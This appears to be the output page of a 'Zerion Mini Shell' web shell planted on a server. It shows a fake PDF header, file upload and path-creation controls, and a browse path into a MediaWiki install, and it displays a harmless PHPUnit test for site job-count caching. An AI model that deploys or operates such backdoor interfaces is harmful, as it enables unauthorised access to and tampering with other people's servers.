%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/www/varak.net/wiki.varak.net/tests/phpunit/includes/
Upload File :
Create Path :
Current File : //proc/thread-self/root/www/varak.net/wiki.varak.net/tests/phpunit/includes/SiteStatsTest.php

<?php

class SiteStatsTest extends MediaWikiTestCase {

	/**
	 * @covers SiteStats::jobs
	 */
	function testJobsCountGetCached() {
		$cache = new WANObjectCache( [ 'cache' => new HashBagOStuff() ] );
		$this->setService( 'MainWANObjectCache', $cache );
		$jobq = JobQueueGroup::singleton();

		$jobq->push( new NullJob( Title::newMainPage(), [] ) );
		$this->assertEquals( 1, SiteStats::jobs(),
			 'A single job enqueued bumps jobscount stat to 1' );

		$jobq->push( new NullJob( Title::newMainPage(), [] ) );
		$this->assertEquals( 1, SiteStats::jobs(),
			'SiteStats::jobs() count does not reflect addition ' .
			'of a second job (cached)'
		);

		$jobq->get( 'null' )->delete();  // clear jobqueue
		$this->assertEquals( 0, $jobq->get( 'null' )->getSize(),
			'Job queue for NullJob has been cleaned' );

		$cache->delete( $cache->makeKey( 'SiteStats', 'jobscount' ) );
		$this->assertEquals( 1, SiteStats::jobs(),
			'jobs count is kept in process cache' );

		$cache->clearProcessCache();
		$this->assertEquals( 0, SiteStats::jobs() );
	}

}

Zerion Mini Shell 1.0